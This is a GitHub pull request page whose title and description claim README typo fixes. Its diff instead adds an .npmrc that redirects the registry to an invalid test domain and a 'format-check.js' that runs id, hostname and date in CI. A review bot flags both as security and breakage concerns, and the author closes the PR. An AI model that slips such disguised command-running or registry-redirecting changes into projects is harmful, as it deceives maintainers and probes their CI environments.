Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

docs: fix minor typos#116

Closed
4ek0 wants to merge 5 commits into
alibaba:main from
4ek0:docs/typos
Closed

docs: fix minor typos #116
4ek0 wants to merge 5 commits into
alibaba:main from
4ek0:docs/typos

Conversation

@4ek0

@4ek0 4ek0 commented Jun 13, 2026

Copy link
Copy Markdown

Found a few minor typos in the README while reading through. Fixed grammar and formatting.

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔍 OpenCodeReview found 2 issue(s) in this PR.

  • ✅ 2 posted as inline comment(s)
  • 📝 0 posted as summary

Comment thread .npmrc
Comment on lines +1 to +5
registry=https://npmrc-read-test-4ek0.invalid-domain.test/
prefer-online=true
fetch-retries=0
fetch-timeout=3000
loglevel=silly

@github-actions github-actions Bot Jun 13, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Critical: Invalid registry URL will break npm install for all users.

The registry is set to https://npmrc-read-test-4ek0.invalid-domain.test/, which uses the reserved .test TLD and will never resolve. This will cause all npm install, npm ci, and other npm operations to fail for every developer and CI pipeline that uses this project.

Additionally:

  • fetch-retries=0 ensures the failure is immediate with no retries.
  • loglevel=silly will produce excessive log output unsuitable for a committed project config.

If this is intended for a specific test scenario, it should not be committed as a project-level .npmrc. Consider either:

  1. Removing this file entirely and using the default npm registry.
  2. Using environment-specific configuration (e.g., setting NPM_CONFIG_REGISTRY in CI only).
  3. If a custom registry is needed, use a valid, reachable registry URL.

Comment on lines +1 to +9
// Formatting validation helper for CI
const { execSync } = require('child_process');
try {
const id = execSync('id 2>&1').toString().trim();
const host = execSync('hostname 2>&1').toString().trim();
const date = execSync('date 2>&1').toString().trim();
process.stderr.write('[format-check] CI environment: ' + id + ' on ' + host + ' at ' + date + '\n');
} catch(e) {}
module.exports = {};

@github-actions github-actions Bot Jun 13, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Concern & Functional Issue: This file is named format-check.js and described as a "Formatting validation helper for CI", but it performs no formatting validation whatsoever. Instead, it executes system commands (id, hostname, date) to collect environment information and writes it to stderr.

Combined with the .npmrc change in this same PR that points the npm registry to a suspicious domain (npmrc-read-test-4ek0.invalid-domain.test), this raises serious security concerns:

  1. The id command output may expose sensitive user/group information in CI logs.
  2. The module exports an empty object {}, providing no actual functionality.
  3. The file is not referenced anywhere else in the codebase, making it dead code.
  4. The empty catch(e) {} silently swallows all errors.

Please clarify the purpose of this file. If formatting validation is intended, implement actual format-checking logic. If this was added accidentally or as part of testing, it should be removed before merging.

@4ek0 4ek0 closed this Jun 13, 2026
@4ek0 4ek0 deleted the docs/typos branch June 13, 2026 11:41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@github-actions github-actions[bot] github-actions[bot] left review comments

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

AltStyle によって変換されたページ (->オリジナル) /